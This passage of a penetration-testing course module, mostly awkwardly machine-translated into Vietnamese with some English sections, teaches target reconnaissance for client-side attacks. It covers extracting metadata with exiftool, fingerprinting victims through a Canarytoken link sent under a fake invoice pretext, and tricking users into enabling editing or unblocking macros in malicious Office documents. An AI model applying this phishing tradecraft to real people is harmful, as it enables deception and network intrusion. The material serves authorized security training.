Trong Mô-đun Học tập này, chúng tôi sẽ đề cập đến các Đơn vị Học tập sau:
Trong các bài kiểm tra thâm nhập, chúng tôi có thể được khách hàng giao nhiệm vụ vi phạm chu vi doanh nghiệp của họ và có được một chỗ đứng ban đầu bên trong mạng lưới. Với mô hình tấn công truyền thống, chúng tôi sẽ liệt kê máy có thể truy cập của khách hàng và cố gắng khai thác dịch vụ. Tuy nhiên, vượt qua chu vi bằng cách khai thác kỹ thuật Các lỗ hổng ngày càng trở nên hiếm và khó khăn theo vào báo cáo1 từ Verizon.2 Báo cáo nêu rõ Lừa đảo đó3 là vectơ tấn công lớn thứ hai được sử dụng vì đã vi phạm một vành đai, chỉ bị vượt qua bởi các cuộc tấn công thông tin xác thực.
Lừa đảo thường tận dụng các cuộc tấn công phía máy khách. Loại tấn công này hoạt động bằng cách phân phối các tệp độc hại trực tiếp cho người dùng. Một khi họ thực thi các tệp này trên máy của họ, chúng ta có thể có chỗ đứng trong mạng nội bộ. Các cuộc tấn công phía máy khách thường khai thác điểm yếu hoặc các chức năng trong phần mềm và ứng dụng cục bộ như trình duyệt, các thành phần hệ điều hành hoặc chương trình văn phòng. Để thực thi trên hệ thống của khách hàng, chúng ta phải thường xuyên thuyết phục, lừa hoặc đánh lừa người dùng mục tiêu.
Khái niệm lừa dối này là một khái niệm quan trọng để chúng ta xem xét như máy kiểm tra thâm nhập. Nó đặt ra câu hỏi, chính xác thì chúng ta là ai lừa dối? Chúng ta đang cố gắng thuyết phục ai? Các cuộc tấn công phía máy khách cho phép chúng tôi có cơ hội để chiêm ngưỡng các lỗ hổng, thành kiến và Sự mong manh vốn có của con người, chứ không chỉ máy tính hay mạng. Điều này ngụ ý rằng để trở thành những kẻ tấn công giỏi nhất có thể, chúng ta không được chỉ thành thạo các kỹ năng kỹ thuật như quản trị hệ thống và mạng lưới (ví dụ), nhưng cũng phát triển kiến thức về con người tâm lý, văn hóa doanh nghiệp và chuẩn mực xã hội.
Khi chúng ta tận dụng các cuộc tấn công phía máy khách trong các bài kiểm tra thâm nhập, chúng ta phải cũng xem xét khía cạnh đạo đức của việc nhắm mục tiêu người dùng. Mục tiêu của chúng ta nên không chỉ để thực thi mã trên hệ thống của họ mà còn để không vượt qua bất kỳ ranh giới đạo đức hoặc pháp lý nào như tống tiền nhân viên hoặc mạo danh công an.
Vì máy của khách hàng trong mạng doanh nghiệp nội bộ không phải là thường là một hệ thống có thể truy cập trực tiếp, và vì nó không thường xuyên cung cấp các dịch vụ tiếp xúc với bên ngoài, loại vectơ tấn công này là khó giảm thiểu và đặc biệt quỷ quyệt. Những loại tấn công này có khuyến khích thực hiện các mô hình quốc phòng mới.
Các cuộc tấn công phía máy khách thường sử dụng các cơ chế phân phối và tải trọng cụ thể kết hợp, bao gồm tệp đính kèm email hoặc liên kết đến trang web hoặc tệp. Chúng tôi thậm chí có thể tận dụng giao hàng nâng cao hơn các cơ chế như USB Dropping4 hoặc hố tưới nước tấn công.5
Bất kể chúng ta chọn cơ chế phân phối nào, chúng ta phải thường xuyên cung cấp tải trọng của chúng tôi đến một mục tiêu trên mạng nội bộ không thể định tuyến, vì hệ thống máy khách hiếm khi bị lộ ra bên ngoài.
Việc vận chuyển tải trọng qua email do bộ lọc thư rác, tường lửa và các công nghệ bảo mật khác quét email để tìm liên kết và tệp đính kèm.
Khi chọn một vectơ tấn công và tải trọng, trước tiên chúng ta phải thực hiện trinh sát để xác định hệ điều hành của mục tiêu cũng như bất kỳ ứng dụng nào đã cài đặt. Đây là bước đầu tiên quan trọng, vì tải trọng của chúng tôi phải phù hợp với khả năng của mục tiêu. Ví dụ: nếu mục tiêu đang chạy hệ điều hành Windows, chúng ta có thể sử dụng nhiều cuộc tấn công phía máy khách như JScript độc hại6 Mã được thực thi thông qua Windows Script Host7 hoặc .lnk8 các tệp lối tắt trỏ đến các tài nguyên độc hại. Nếu mục tiêu có đã cài đặt Microsoft Office, chúng tôi có thể tận dụng tài liệu với macro độc hại.
Trong Mô-đun này, chúng ta sẽ tìm hiểu cách thực hiện trinh sát chống lại mục tiêu, đi qua các tình huống khai thác liên quan đến Tài liệu Microsoft Office và tận dụng Thư viện Windows tệp.9
(Verizon, 2022), https://www.verizon.com/business/resources/reports/2022/dbir/2022-data-breach-investigations-report-dbir.pdf ↩︎
(Verizon, 2022), https://www.verizon.com/ ↩︎
(Hỗ trợ của Microsoft, 2022), https://support.microsoft.com/en-au/windows/protect-yourself-from-phishing-0c7ea947-ba98-3bd9-7184-430e1f860a44 ↩︎
(Tripwire, 2016), https://www.tripwire.com/state-of-security/featured/does-dropping-malicious-usb-sticks-really-work-yes-worryingly-well/ ↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Watering_hole_attack ↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/JScript ↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Windows_Script_Host ↩︎
(ForensicsWiki, 2021), https://web.archive.org/web/20220519184752/https://forensicswiki.xyz/page/LNK ↩︎
(Tài liệu Windows, 2021), https://docs.microsoft.com/en-us/windows/client-management/windows-libraries ↩︎
Đơn vị học tập này bao gồm các Mục tiêu Học tập sau:
Trước khi thực hiện tấn công phía máy khách, điều quan trọng là chúng tôi phải xác định người dùng tiềm năng để nhắm mục tiêu và thu thập càng nhiều thông tin chi tiết càng tốt về hệ điều hành và ứng dụng đã cài đặt của họ phần mềm. Điều này giúp chúng tôi cải thiện cơ hội tấn công thành công. Chúng tôi có thể xác định những người dùng này bằng cách duyệt trang web của công ty và tìm kiếm Đối với các điểm tiếp xúc hoặc sử dụng kỹ thuật thu thập thông tin thụ động để tìm nhân viên trên mạng xã hội.
Không giống như trinh sát mạng truyền thống được thực hiện chống lại mục tiêu hệ thống, chúng ta thường không có kết nối trực tiếp với mục tiêu của một tấn công phía máy khách. Thay vào đó, chúng ta phải sử dụng một cách phù hợp và sáng tạo hơn cách tiếp cận.
Trong Bài học này, chúng ta sẽ khám phá những thông tin độc đáo này kỹ thuật thu thập và thảo luận về các vectơ kỹ thuật xã hội được thiết kế để liệt kê hiệu quả các chi tiết của hệ thống mục tiêu.
Trong phần này, chúng ta sẽ thảo luận về các phương pháp khác nhau để liệt kê phần mềm đã cài đặt của mục tiêu mà không tương tác với mục tiêu máy móc. Những kỹ thuật này phù hợp nhất cho các tình huống mà chúng tôi không có cách nào để tương tác với mục tiêu. Vì chúng tôi không tương tác Với mục tiêu, chúng tôi sẽ không cảnh báo hệ thống giám sát hoặc rời khỏi pháp y dấu vết của cuộc điều tra của chúng tôi.
Một cách tiếp cận là kiểm tra các thẻ siêu dữ liệu1 của các tài liệu có sẵn công khai liên quan đến tổ chức mục tiêu. Mặc dù dữ liệu này có thể được làm sạch thủ công, nhưng thường thì không. Những Thẻ (được phân loại theo nhóm thẻ2) có thể bao gồm nhiều loại thông tin về tài liệu bao gồm tác giả, ngày tạo, tên và phiên bản của phần mềm được sử dụng để tạo tài liệu, hoạt động hệ thống của khách hàng, và nhiều hơn nữa.
Trong một số trường hợp, thông tin này được lưu trữ rõ ràng trong siêu dữ liệu, và trong một số trường hợp, nó được suy luận, nhưng dù bằng cách nào thì thông tin cũng có thể khá lộ diện, giúp chúng ta xây dựng hồ sơ phần mềm chính xác được cài đặt trên máy khách trong một tổ chức mục tiêu. Hãy nhớ rằng Các phát hiện có thể đã lỗi thời nếu chúng tôi đang kiểm tra các tài liệu cũ hơn. Trong Ngoài ra, các chi nhánh khác nhau của tổ chức có thể sử dụng một chút phần mềm khác nhau.
Mặc dù đây là cách tiếp cận "không cần bàn tay" để thu thập dữ liệu, nhưng Đánh đổi là chúng tôi có thể không thu thập thông tin chính xác. Tuy nhiên, điều này cách tiếp cận khả thi và hiệu quả.
Hãy xem lại một số tài liệu mẫu để chúng ta có thể chứng minh siêu dữ liệu phân tích.
Chúng tôi sẽ tận dụng một số kỹ thuật mà chúng tôi đã học được trong Thông tin Mô-đun thu thập. Ví dụ, chúng ta có thể sử dụng site:example.com filetype:pdf Google dork để tìm các tệp PDF trên trang web của mục tiêu. Nếu chúng ta muốn nhắm mục tiêu một chi nhánh hoặc vị trí cụ thể, chúng ta có thể thêm điều đó thông qua từ khóa để thu hẹp kết quả.
Nếu chúng ta muốn tương tác với trang web của mục tiêu, chúng ta cũng có thể sử dụng Các công cụ như Gobuster3 với tham số -x để tìm kiếm cho các phần mở rộng tệp cụ thể trên trang web của mục tiêu. Đây là ồn ào và sẽ tạo các mục nhật ký trên mục tiêu. Chúng ta cũng có thể đơn giản Duyệt trang web mục tiêu để biết thông tin cụ thể khác hữu ích trong một cuộc tấn công phía máy khách, nhưng chúng tôi sẽ không đi sâu vào chủ đề đó trong phần.
Hãy thực hành tìm kiếm và truy xuất tài liệu từ trang web Mountain Vegetables. Chúng ta sẽ mở Firefox và điều hướng đến http://192.168.50.197.

Hình 1 cho thấy đích của trang web trang. Văn bản trên trang web nói rằng trang web hiện đang đang được phát triển. Cuộn qua trang và di chuột qua các nút, chúng tôi tìm thấy một liên kết để tải xuống tài liệu quảng cáo.

Khi chúng tôi nhấp vào CURRENT, Firefox sẽ mở tài liệu trong một tab mới nơi chúng tôi có thể tải xuống.
Để hiển thị siêu dữ liệu của bất kỳ tệp nào được hỗ trợ,4 chúng tôi có thể sử dụng exiftool.5 Hãy cung cấp các đối số -a đến hiển thị các thẻ trùng lặp và -u để hiển thị các thẻ không xác định cùng với Tên tệp brochure.pdf:
kali@kali:~$ cd Downloads
kali@kali:~/Downloads$ exiftool -a -u brochure.pdf
ExifTool Version Number : 12.41
File Name : brochure.pdf
Directory : .
File Size : 303 KiB
File Modification Date/Time : 2022:04:27 03:27:39-04:00
File Access Date/Time : 2022:04:28 07:56:58-04:00
File Inode Change Date/Time : 2022:04:28 07:56:58-04:00
File Permissions : -rw-------
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.7
Linearized : No
Page Count : 4
Language : en-US
Tagged PDF : Yes
XMP Toolkit : Image::ExifTool 12.41
Creator : Stanley Yelnats
Title : Mountain Vegetables
Author : Stanley Yelnats
Producer : Microsoft® PowerPoint® for Microsoft 365
Create Date : 2022:04:27 07:34:01+02:00
Creator Tool : Microsoft® PowerPoint® for Microsoft 365
Modify Date : 2022:04:27 07:34:01+02:00
Document ID : uuid:B6ED3771-D165-4BD4-99C9-A15FA9C3A3CF
Instance ID : uuid:B6ED3771-D165-4BD4-99C9-A15FA9C3A3CF
Title : Mountain Vegetables
Author : Stanley Yelnats
Create Date : 2022:04:27 07:34:01+02:00
Modify Date : 2022:04:27 07:34:01+02:00
Producer : Microsoft® PowerPoint® for Microsoft 365
Creator : Stanley Yelnats
Liệt kê 1 - Hiển thị siêu dữ liệu cho brochure.pdf
Điều này tạo ra rất nhiều sản lượng. Đối với chúng tôi, thông tin quan trọng nhất bao gồm ngày tạo tệp, ngày sửa đổi lần cuối, của tác giả tên, hệ điều hành và ứng dụng được sử dụng để tạo tập tin.
Các phần Tạo Ngày và Ngày Sửa đổi tiết lộ tuổi tương đối của tài liệu. Cho rằng những ngày này tương đối gần đây (tại thời điểm viết bài này) chúng tôi có mức độ tin tưởng cao rằng đây là một nguồn siêu dữ liệu tốt.
Phần Tác giả tiết lộ tên của một nhân viên nội bộ. Chúng tôi có thể sử dụng kiến thức của chúng ta về người này để thiết lập niềm tin tốt hơn mối quan hệ bằng cách thả tên của họ một cách tình cờ vào một email được nhắm mục tiêu hoặc cuộc trò chuyện qua điện thoại. Điều này đặc biệt hữu ích nếu tác giả duy trì một hồ sơ công khai tương đối nhỏ.
Kết quả đầu ra tiết lộ thêm rằng PDF được tạo ra với Microsoft PowerPoint dành cho Microsoft 365. Đây là thông tin quan trọng để chúng tôi lập kế hoạch tấn công phía máy khách của chúng tôi vì bây giờ chúng tôi biết rằng mục tiêu sử dụng Microsoft Office và vì không có đề cập đến "macOS" hoặc "dành cho Mac" trong bất kỳ thẻ siêu dữ liệu nào, rất có thể Windows đã được sử dụng để tạo tài liệu này.
Giờ đây, chúng ta có thể tận dụng các vectơ tấn công phía máy khách, từ Windows các thành phần hệ thống thành các tài liệu Office độc hại.
(Exiftool, 2022), https://exiftool.org/TagNames/ ↩︎
(Exiftool, 2022), Nhóm ↩https://exiftool.org/#Tag ︎
(Github, 2021), https://github.com/OJ/gobuster ↩︎
(Exiftool, 2022), https://exiftool.org/#supported ↩︎
(Exiftool, 2022), https://exiftool.org/ ↩︎
Một số phòng thí nghiệm yêu cầu bạn khởi động (các) máy mục tiêu bên dưới.
Xin lưu ý rằng địa chỉ IP được gán cho máy mục tiêu của bạn có thể không khớp với địa chỉ được tham chiếu trong văn bản và video của Mô-đun.
|
Tấn công phía máy khách - Thu thập thông tin - VM #1
|
|
|
|
Tấn công phía máy khách - Thu thập thông tin - VM #2
|
|
|
Trong phần này, chúng ta sẽ thảo luận về Lấy dấu vân tay của khách hàng, còn được gọi là Lấy dấu vân tay thiết bị,1 để có được hệ điều hành và thông tin trình duyệt từ một mục tiêu trong nội bộ không thể định tuyến mạng. Ví dụ, chúng ta có thể được giao nhiệm vụ thiết lập một trên mạng của mục tiêu để kiểm tra thâm nhập. Giả sử Trước đây chúng tôi đã trích xuất một địa chỉ email của một mục tiêu đầy hứa hẹn với công cụMáy gặt hái.2 Là một cuộc tấn công phía máy khách, chúng tôi có thể sử dụng Ứng dụng HTML (HTA)3 đính kèm vào email đến thực thi mã trong ngữ cảnh của Internet Explorer và ở một mức độ nào đó, Microsoft Edge. Đây là một vectơ tấn công rất phổ biến để lấy chỗ đứng trong mạng của mục tiêu và được sử dụng bởi nhiều tác nhân đe dọa và nhóm ransomware.4
Trước khi làm điều này, chúng ta cần xác nhận rằng mục tiêu của chúng ta đang chạy Windows và Internet Explorer hoặc Microsoft Edge là được kích hoạt.
Chúng tôi sẽ sử dụng Canarytoken,5 một dịch vụ web miễn phí tạo một liên kết với mã thông báo nhúng mà chúng tôi sẽ gửi đến mục tiêu. Khi mục tiêu mở liên kết trong trình duyệt, chúng ta sẽ nhận được thông tin về trình duyệt, địa chỉ IP và hệ điều hành của họ. Với điều này thông tin, chúng tôi có thể xác nhận rằng mục tiêu đang chạy Windows và xác minh rằng chúng ta nên thử một cuộc tấn công phía máy khách HTA.
Trước khi tạo liên kết theo dõi, chúng ta hãy thảo luận ngắn gọn về các lý do6 Chúng ta có thể sử dụng trong một tình huống như thế này. Một cái cớ đóng khung một tình huống theo một cách cụ thể. Trong phần lớn các tình huống, Chúng ta không thể chỉ yêu cầu mục tiêu (một người lạ) nhấp vào một liên kết trong một email tùy ý. Do đó, chúng ta nên cố gắng tạo bối cảnh, có lẽ bằng cách tận dụng vai trò công việc của mục tiêu.
Ví dụ, giả sử mục tiêu của chúng ta là làm việc trong lĩnh vực tài chính bộ phận. Trong trường hợp này, chúng tôi có thể nói rằng chúng tôi đã nhận được hóa đơn, nhưng nó chứa lỗi tài chính. Sau đó, chúng tôi cung cấp một liên kết mà chúng tôi nói là mở Ảnh chụp màn hình của hóa đơn có lỗi được đánh dấu. Đây là, của khóa học, liên kết Canarytoken. Khi mục tiêu nhấp vào liên kết, IP logger tạo dấu vân tay của mục tiêu cung cấp cho chúng ta những gì cần thiết thông tin để chuẩn bị cho cuộc tấn công phía máy khách của chúng tôi. Mục tiêu sẽ luôn nhận được một trang trống khi họ nhấp vào liên kết.
Với lý do của chúng ta, hãy tạo liên kết của chúng ta trong Canarytokens bằng cách Đang tải trang tạo mã thông báo7 trong trình duyệt của chúng tôi. Hình 3 hiển thị trang đích của trang web.

Biểu mẫu web cung cấp cho chúng ta một menu thả xuống để chọn loại mã thông báo theo dõi mà chúng ta muốn tạo. Chúng ta phải nhập một địa chỉ email để nhận thông báo về mã thông báo theo dõi hoặc cung cấp URL webhook. Đối với ví dụ này, chúng ta sẽ chọn Web bug / mã thông báo URL từ menu thả xuống , nhập https://example.com làm URL webhook, sau đó nhập Fingerprinting làm nhận xét. Sau khi chúng ta nhập thông tin này, chúng ta sẽ nhấp vào Create my Canarytoken.

Một trang mới với cửa sổ màu xanh lam xuất hiện cho biết mã thông báo web của chúng tôi là Hiện đang hoạt động:

Trang này chứa liên kết theo dõi mà chúng ta có thể sử dụng để lấy dấu vân tay mục tiêu. Nó cũng cung cấp ý tưởng về cách lấy mục tiêu nhấp vào liên kết.
Tiếp theo, hãy nhấp vào Manage this token, nằm ở góc trên bên phải của trang. Thao tác này sẽ đưa chúng ta đến mã thông báo cài đặt.

Mã thông báo vẫn chưa được kích hoạt, nhưng điều này được mong đợi vì chúng ta vừa tạo nó. Đối với ví dụ này, chúng ta sẽ giữ các thiết lập mặc định, vì chúng ta chỉ đơn giản là lấy dấu vân tay vào mục tiêu và không nhúng mã thông báo vào ứng dụng web hoặc trang web.
Tiếp theo, hãy nhấp vào Lịch sử ở góc trên bên phải. Trang Lịch sử hiển thị cho chúng ta tất cả khách truy cập đã nhấp vào liên kết Canarytoken của chúng tôi và thông tin về hệ thống của nạn nhân. Hiện tại, danh sách đã trống.

Giả sử chúng ta đã thuyết phục nạn nhân của mình, trong bối cảnh lý do, truy cập liên kết Canarytoken qua email. Ngay sau khi nạn nhân nhấp vào liên kết của chúng ta, họ sẽ nhận được một trang trống trong trình duyệt của họ. Tại thời điểm đồng thời, một mục mới xuất hiện trong danh sách lịch sử của chúng ta:

Một bản đồ ở phía bên trái cho chúng ta thấy vị trí địa lý của nạn nhân. Chúng ta có thể nhấp vào mục nhập để biết thêm thông tin.

Nửa trên của chế độ xem chi tiết cung cấp cho chúng ta thông tin về vị trí của nạn nhân và nỗ lực xác định tên tổ chức. Tác nhân người dùng do trình duyệt của nạn nhân gửi cũng được hiển thị. Từ bản thân tác nhân người dùng, chúng ta có thể suy ra hệ điều hành của mục tiêu và trình duyệt. Tuy nhiên, tác nhân người dùng có thể được sửa đổi và không phải lúc nào cũng là nguồn thông tin đáng tin cậy.
Trong ví dụ này, tác nhân người dùng của nạn nhân ngụ ý rằng họ sử dụng Trình duyệt Chrome trên hệ thống Windows 10 64-bit. Chúng ta cũng có thể sử dụng một trình phân tích cú pháp tác nhân người dùng trực tuyến,8 diễn giải người dùng đại lý cho chúng tôi và cung cấp cho chúng tôi một kết quả thân thiện hơn với người dùng.
Hãy cuộn xuống khu vực Trình duyệt.

Hình 10 cho chúng ta biết thêm thông tin về trình duyệt của nạn nhân. Thông tin này không đến từ người dùng nhưng từ mã vân tay JavaScript được nhúng trong tệp Trang web Canarytoken. Thông tin này chính xác và đáng tin cậy hơn hơn là thông tin từ tác nhân người dùng. Điều này một lần nữa cho thấy rằng target đang chạy Chrome trên Windows.
Dịch vụ Canarytoken cũng cung cấp các kỹ thuật vân tay khác. Hãy quay lại trang chính của Canarytokens để thảo luận về những điều này.

Menu thả xuống cung cấp các tùy chọn để nhúng Canarytoken vào Word tài liệu hoặc tệp PDF, sẽ cung cấp cho chúng tôi thông tin khi nạn nhân mở tệp. Hơn nữa, chúng ta cũng có thể nhúng nó vào một hình ảnh, sẽ thông báo cho chúng ta khi nó được xem.
Chúng ta cũng có thể sử dụng một trình ghi IP trực tuyến như Grabify9 hoặc các thư viện lấy dấu vân tay JavaScript như fingerprint.js.10
Trong phần này, chúng tôi đã trình bày một kỹ thuật lấy dấu vân tay hiệu quả tiết lộ thông tin quan trọng về hệ thống của mục tiêu của chúng tôi. Cái này là bước đầu tiên quan trọng cho một cuộc tấn công phía máy khách. Trong khi mục tiêu của chúng tôi là để xác định xem mục tiêu có chạy Windows và có Internet Explorer hay Microsoft Edge được bật, chúng tôi chỉ có thể xác định rằng nạn nhân đang chạy Chrome trên Windows. Trong tình huống như thế này, chúng ta nên sử dụng một vectơ tấn công phía máy khách khác hoặc thay đổi lý do của chúng ta thành, cho ví dụ: gợi ý rằng ảnh chụp màn hình chỉ có thể xem được trên Internet Explorer hoặc Microsoft Edge.
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Device_fingerprint ↩︎
(Github, 2022), https://github.com/laramies/theHarvester ↩︎
(Microsoft, 2013), https://msdn.microsoft.com/en-us/library/ms536496(VS.85).aspx ↩︎
(Tin tức tin tặc, 2021), https://thehackernews.com/2021/04/lazarus-apt-hackers-are-now-using-bmp.html ↩︎
(Canarytokens, 2022), https://canarytokens.com ↩︎
(Imperva, 2022), https://www.imperva.com/learn/application-security/pretexting/ ↩︎
(Canarytokens, 2022), https://canarytokens.org/generate ↩︎
(WhatIsMyBrowser, 2022), https://developers.whatismybrowser.com/useragents/parse/ ↩︎
(Grabify, 2022), https://grabify.link/ ↩︎
(Github, 2022), https://github.com/fingerprintjs/fingerprintjs ↩︎
Đơn vị học tập này bao gồm các Mục tiêu Học tập sau:
Các cuộc tấn công ransomware đã tăng lên đáng kể trong thời gian gần đây năm.1 Trong hầu hết các trường hợp, vi phạm ban đầu liên quan đến macro Microsoft Office độc hại. Đây là một vectơ tấn công phổ biến kể từ khi Office có mặt ở khắp mọi nơi và các tài liệu Office thường được gửi qua email giữa đồng nghiệp.
Trong Bài học này, trước tiên chúng ta sẽ thảo luận về các cân nhắc khác nhau về tài liệu Office độc hại trong kịch bản tấn công phía máy khách. Tiếp theo, chúng ta sẽ đi qua quá trình cài đặt Office và cuối cùng, chúng ta sẽ tạo tài liệu Word độc hại với macro được nhúng để lấy vỏ ngược.
(Comparitech, 2022), https://www.comparitech.com/antivirus/ransomware-statistics/ ↩︎
Trước khi chúng ta đi vào các yếu tố thực hành hơn của Bài học này, Hãy thảo luận về ba cân nhắc quan trọng khi chúng ta sử dụng độc hại Tài liệu Office trong một cuộc tấn công phía máy khách.
Đầu tiên, chúng ta phải xem xét phương thức gửi tài liệu của chúng ta. Kể từ khi Các cuộc tấn công macro độc hại nổi tiếng, các nhà cung cấp email và thư rác các giải pháp lọc thường lọc ra tất cả các tài liệu Microsoft Office bằng cách mặc định. Do đó, trong phần lớn các tình huống, chúng ta không thể chỉ gửi tài liệu độc hại dưới dạng tệp đính kèm. Hơn nữa, hầu hết các tính năng chống lừa đảo Các chương trình đào tạo nhấn mạnh sự nguy hiểm của việc bật macro trong một email Tài liệu văn phòng.
Để cung cấp tải trọng của chúng tôi và tăng cơ hội mở mục tiêu tài liệu, chúng ta có thể sử dụng một cái cớ và cung cấp tài liệu trong một tài liệu khác cách, giống như một liên kết tải xuống.
Nếu chúng tôi quản lý thành công để gửi tài liệu Office đến mục tiêu của chúng tôi qua email hoặc liên kết tải xuống, tệp sẽ được gắn thẻ với Dấu hiệu của Web (MOTW).1Tài liệu Office được gắn thẻ MOTW sẽ mở trong Chế độ xem được bảo vệ,2vô hiệu hóa tất cả các cài đặt chỉnh sửa và sửa đổi trong tài liệu và chặn việc thực thi macro hoặc đối tượng được nhúng. Khi nạn nhân mở tài liệu được gắn thẻ MOTW , Office sẽ hiển thị cảnh báo với tùy chọn Bật Chỉnh sửa.

Khi nạn nhân bật chỉnh sửa, chế độ xem được bảo vệ sẽ bị vô hiệu hóa. Do đó, cách cơ bản nhất để khắc phục hạn chế này là thuyết phục mục tiêu nhấp vào nút Bật chỉnh sửa bằng cách ví dụ: làm mờ phần còn lại của tài liệu và hướng dẫn họ nhấp vào nút để "mở khóa" nó.
Chúng ta cũng có thể dựa vào các chương trình Microsoft Office hỗ trợ macro khác thiếu Chế độ xem được bảo vệ, như Microsoft Publisher, nhưng điều này ít hơn được cài đặt thường xuyên.
Cuối cùng, chúng ta phải xem xét thông báo của Microsoft thảo luận về chặn macro theo mặc định.3Thay đổi này ảnh hưởng đến Access, Excel, PowerPoint, Visio và Word. Microsoft đã triển khai điều này trong phần lớn các phiên bản Office như Office 2021 trở lại Office 2013. Ngày triển khai cho các kênh khác nhau là được liệt kê trong trang Microsoft Learn tương ứng.4
Thông báo nói rằng macro trong các tệp được gửi qua Internet có thể không còn được kích hoạt bằng cách nhấp vào nút, nhưng bằng cách làm theo một quy trình tẻ nhạt hơn. Ví dụ: khi người dùng mở một tài liệu có macro nhúng, họ sẽ không còn nhận được thông báo Bật nội dung:

Thay vào đó, họ sẽ nhận được một tin nhắn mới, đáng ngại hơn với nút Tìm hiểu Thêm:

Nếu người dùng nhấp vào Tìm hiểu thêm, kết quả là trang web Microsoft5sẽ phác thảo sự nguy hiểm của việc kích hoạt macro.
Ngoài ra, Microsoft cung cấp hướng dẫn về cách bỏ chặn macro bằng cách chọn Bỏ chặn trong thuộc tính tệp.
Điều này có nghĩa là sau thay đổi này, chúng ta phải thuyết phục người dùng bỏ chặn tệp thông qua hộp kiểm trước khi macro độc hại của chúng ta có thể được thực thi thực thi.
Phần này cung cấp tổng quan về các cân nhắc quan trọng đối với các cuộc tấn công tận dụng Microsoft Office. Ngoài ra, chúng tôi đã thảo luận về một thông báo của Microsoft phác thảo sự thay đổi trong cách các macro trong tệp được phân phối qua Internet có thể được mở. Điều này có thể làm phức tạp hơn các vectơ liên quan đến các tài liệu Office độc hại. Tuy nhiên, nếu chúng tôi liệt kê mục tiêu của chúng tôi một cách kỹ lưỡng và xem xét thông tin từ phần này, chúng tôi có thể tăng đáng kể xác suất thành công của mình.
Trước khi chúng ta chuyển sang phần tiếp theo, chúng ta hãy thu nhỏ ở đây trong giây lát. Ngay cả sau khi thêm tất cả các biện pháp giảm thiểu này và tạo ra nhận thức chung , macro Microsoft Office độc hại vẫn là một trong những cuộc tấn công phía máy khách được sử dụng phổ biến nhất. Ví dụ này tiết lộ một động lực cơ bản giữa người bảo vệ và kẻ tấn công. Đối với mỗi công nghệ hoặc thành phần bảo mật được triển khai, những kẻ tấn công buộc phải đưa ra các vectơ tấn công và bỏ qua mới. Điều này dẫn đến một vòng xoáy, trong đó cả hai bên cần phải liên tục đưa ra các cách tiếp cận tinh vi hơn theo thời gian để thành công. Chúng ta với tư cách là những người kiểm tra thâm nhập do đó không bao giờ nên nản lòng bởi các cơ chế phòng thủ mới, nhưng coi chúng như cơ hội để tạo ra các cuộc tấn công tinh vi hơn.
(MITRE ATT &CK, 2022), https://attack.mitre.org/techniques/T1553/005/ ↩︎
(Microsoft, 2019), https://support.office.com/en-us/article/what-is-protected-view-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653 ↩︎
(Microsoft Techcommunity, 2022), https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805 ↩︎
(Microsoft Learn, 2023), https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked ↩︎
In this section we'll install Microsoft Office on the OFFICE machine (VM #1). We'll use RDP to connect to the system with a username of offsec and a password of lab.
On Windows 11, Network Level Authentication (NLA)1 is enabled by default for RDP connections. Because OFFICE is not a domain-joined machine, rdesktop won't connect to it. We can use xfreerdp instead, which supports NLA for non domain-joined machines.
Once connected, we'll navigate to C:\tools\Office2019.img via Windows Explorer and double-click the file. A popup window asks if we want to open this file, and we'll respond by clicking Open. This will load the file as a virtual CD and allow us to start the installation process by clicking on Setup.exe.

Once the installation is complete, we'll click on Close on the splash screen to exit the installer and open Microsoft Word from the start menu. Once Microsoft Word opens, a popup will appear. We can close it by clicking the highlighted x in the upper-right corner to start the 7-day trial.

Next, a license agreement popup will appear and we must accept it by clicking Accept:

Next, a privacy popup is displayed. We'll click Next on the splash screen. In the next window, we'll then select No, don't send optional data and click on Accept.

Cuối cùng, chúng ta sẽ nhấp vào Xong trên cửa sổ cuối cùng, hoàn thành cài đặt.
Với Microsoft Word được cài đặt và định cấu hình, chúng ta có thể khám phá nhiều cách tận dụng nó để thực thi mã phía máy khách.
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Network_Level_Authentication ↩︎
Một số phòng thí nghiệm yêu cầu bạn khởi động (các) máy mục tiêu bên dưới.
Xin lưu ý rằng địa chỉ IP được gán cho máy mục tiêu của bạn có thể không khớp với địa chỉ được tham chiếu trong văn bản và video của Mô-đun.
Các ứng dụng Microsoft Office như Word và Excel cho phép người dùng nhúng macro,1 là một loạt các lệnh và hướng dẫn được nhóm lại với nhau để hoàn thành một nhiệm vụ theo chương trình. Tổ chức thường sử dụng macro để quản lý nội dung động và liên kết tài liệu với nội dung bên ngoài.
Macro có thể được viết từ đầu trong Visual Basic cho Ứng dụng (VBA),2 là một ngôn ngữ kịch bản mạnh mẽ với toàn quyền truy cập vào các đối tượng ActiveX3 và Tập lệnh Windows Host, tương tự như JavaScript trong các ứng dụng HTML.
Trong phần này, chúng ta sẽ sử dụng macro nhúng trong Microsoft Word để Khởi chạy Reverse Shell khi tài liệu được mở. Macro là một của các vectơ tấn công phía máy khách lâu đời nhất và nổi tiếng nhất. Họ vẫn hoạt động tốt ngày hôm nay, giả sử chúng ta xem xét từ các phần vào tài khoản và có thể thuyết phục nạn nhân kích hoạt chúng.
Lưu ý rằng các vectơ tấn công phía máy khách cũ hơn, bao gồm Trao đổi dữ liệu động (DDE)4 và các liên kết đối tượng khác nhau và Nhúng (OLE)5 Các phương pháp không hoạt động tốt ngày nay nếu không có sửa đổi hệ thống mục tiêu đáng kể.
Hãy đi sâu vào và tạo macro trong Word. Chúng ta sẽ tạo một khoảng trống Tài liệu Word với mymacro làm tên tệp và lưu nó ở định dạng .doc. Điều này rất quan trọng vì tệp .docx mới hơn Kiểu không thể lưu macro mà không đính kèm mẫu chứa. Cái này có nghĩa là chúng ta có thể chạy macro trong .docx tệp nhưng chúng ta không thể nhúng hoặc lưu macro trong tài liệu. Nói cách khác, macro không phải là dai dẳng. Ngoài ra, chúng ta cũng có thể sử dụng loại tệp .docm cho macro nhúng của chúng tôi.

After we save the document, we can begin creating our first macro. To get to the macro menu, we'll click on the View tab from the menu bar where we will find and click the Macros element:

